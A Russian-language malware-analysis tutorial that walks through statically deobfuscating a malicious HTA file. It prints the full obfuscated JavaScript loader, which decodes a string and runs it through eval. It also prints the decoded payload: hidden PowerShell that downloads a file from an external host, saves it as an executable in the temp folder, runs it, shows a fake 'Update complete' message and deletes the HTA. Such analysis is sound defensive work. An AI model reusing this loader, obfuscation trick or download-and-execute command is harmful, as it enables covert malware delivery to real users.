В этой статье мы рассмотрим файл вредоносного ПО hta и рассмотрим некоторые методы деобфускации, которые мы можем использовать, чтобы разобраться в запутанном коде. Другими словами, давайте проведем старый добрый статический анализ вредоносных программ.

<script>var wyyqbu=’tarjya d{x mmaomvveqTioh(j-c1b0e0r,j-v1t0c0r)d;przeismirzfeeTnof(o0n,j0l)a;j xav=angedwk jAecotbiovjeuXrObbxjheacgtt(s\’lWxsfcrrlitpatw.tSkhueplklb\’t)v;k yaj.lRmutnf(e”uPdolwvejreSnhveclslm n-lWmiknfdxoewvSitfyoldeq mHmicdzdfehnd a$ldp=v$ueunivq:wtbecmjpn+p\’t\s\m4yao2u9e2c4y8v0o8lfx6n6r9e8r5rdqeg3mal9bavdb1xew3ddh7j4s3bec0fdz.qeaxeet\’y;z(hNjewwv-a’;var nhm=’Obbnjsescute dSvyzsetsewmh.zNfeata.iWgeabzChleisefnetz)p.bDvoqwdniliovacdnFyixlnec(q\’j khqtptlpqsx:r/r/wayhvtoaeeaeoruebdjdkifts.toarvgg/y1t7t/b5j2d4m.zdsaxtq\’p,p$hdm)o;dSbtsadrptn-fPzrxokcrerslsm y$jdf;s[lSpyvsxtoenmu.fRdejfmlpeycptqiqotng.dAysfsbejmxbtluyk]r:e:qLjopafdeWniutshiPzavrstlilaqlbNbagmueh(k\’tSnymsctkefmx.uWwibnkdgorwqsk.fFkodrnmksz\’f’;var ohwrpi=’)v;k[vswylsctretmn.kwgiznndroewksl.afmowrgmesm.rmjexsvsxahguecbdoexy]a:q:bsrhjoowb(q\’nUpphdrazttes mcqozmqpclreataem.y\’h,g\’bIknkfzolrbmaactlipoenb\’c,t[jWuitnddmofwtsm.wFwodrxmwsp.vMeewswspahgweaBiowxcBtumthtvoonbse]i:u:hOvKa,a h[xSxylsutteamp.yWwimnndeoiwnsm.fFqogrrmysb.gMzefsosuangkevBoosxsIlcdomnf]d:c:dIanpfrofrxmeartdivoxnu)t;y”a,t0e,pfnaslzsi’;var uzite=’eg)s;avsavrn ybz=qnbeawg tAfcdtxiwvgetXuObbnjteccgtx(r\’uSqcrrciwpjtdipnfgr.nFeiilpeeSoyisjtsegmgOzbajbeacntu\’c)u;svuaori mpr f=v vduoacnuhmfevnxtj.klgotccamtaicomnb.dharwegfu;opa i=w nuznbeisvcwajpiee(ppe.bszuobhsstrru(t8t)g)v;xihfr d(bbf.eFjiclrejEdxaiesztksn(dpz)r)fby.fDmerlxehtkerFnifloeu(wpr)w;c v}g ecmapticnhu i(xeh)m w{z}r uceleolscel(w)t;z’;var vpropt=’ b’;var ujqffvih=wyyqbu+nhm+ohwrpi+uzite+vpropt; var gbakdvjuy=””; var kyhbqlqmmr=2; var a=0; while(a<ujqffvih.length){ gbakdvjuy +=ujqffvih.charAt(a);a +=kyhbqlqmmr; }; bztjfyeogy=”ev”.concat(“al”); window[bztjfyeogy](gbakdvjuy); </script>

Похоже, мы работаем с сильно запутанным кодом javascript. Чтобы сделать код более красивым для анализа и иметь смысл, сначала давайте скопируем его в новый файл и сохраним его как JS для подсветки синтаксиса, и давайте попробуем немного его украсить.

Хорошо, это немного лучше. Но все равно особого смысла нет. Глядя на код, мы видим, что в начале объявляются пять строковых переменных. А позже в строке 13 все они объединяются. Мы можем переименовать эти переменные, чтобы сделать их более понятными.

В следующем разделе есть еще несколько объявлений переменных и цикл while.

Если мы внимательно посмотрим на логику, мы можем предположить, что переменная «gbakdvjuy», которая определяется как пустая строка, используется для создания деобфускированной полезной нагрузки.

Переменная «kyhbqlqmnr», по-видимому, представляет собой размер приращения, который в нашем случае равен двум (2). А «а» кажется счетчиком, инициализированным в 0.

Давайте продолжим и переименуем и эти переменные.

Цикл while довольно прост. Он проходит через конкатенированную строку, которая была создана путем объединения первых 4 переменных, и добавляет каждый второй символ к нашей новой полезной нагрузке переменной.

Мы можем запустить код до этого момента и распечатать окончательное значение полезной нагрузки переменной.

try { moveTo(-100,-100);resizeTo(0,0); a=new ActiveXObject('Wscript.Shell'); a.Run("PowerShell -WindowStyle Hidden $d=$env:temp+'s4a2924808f66985de3a9ad1e3d743e0d.exe';(New-Object System.Net.WebClient).DownloadFile(' https://ahtaeereddit.org/17/524.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information);",0,false);var b=new ActiveXObject('Scripting.FileSystemObject');var p = document.location.href;p = unescape(p.substr(8));if (b.FileExists(p))b.DeleteFile(p); } catch (e) {} close();

Поскольку исходный файл был файлом HTML-приложения (hta), mshta.exe будет использоваться в качестве прокси-сервера для выполнения этого скрипта.

Мы видим, что наш файл «malicious.hta» порождает исполняемый файл PowerShell при его выполнении.

Имя вредоносного файла — s4a2924808f66985de3a9ad1e3d743e0d.exe. И полный веб-адрес, по которому вредоносный код JavaScript из malware.hta пытается загрузить файл .dat, выглядит так: https://ahtaereddit.org/17/524.dat.

Удачного взлома!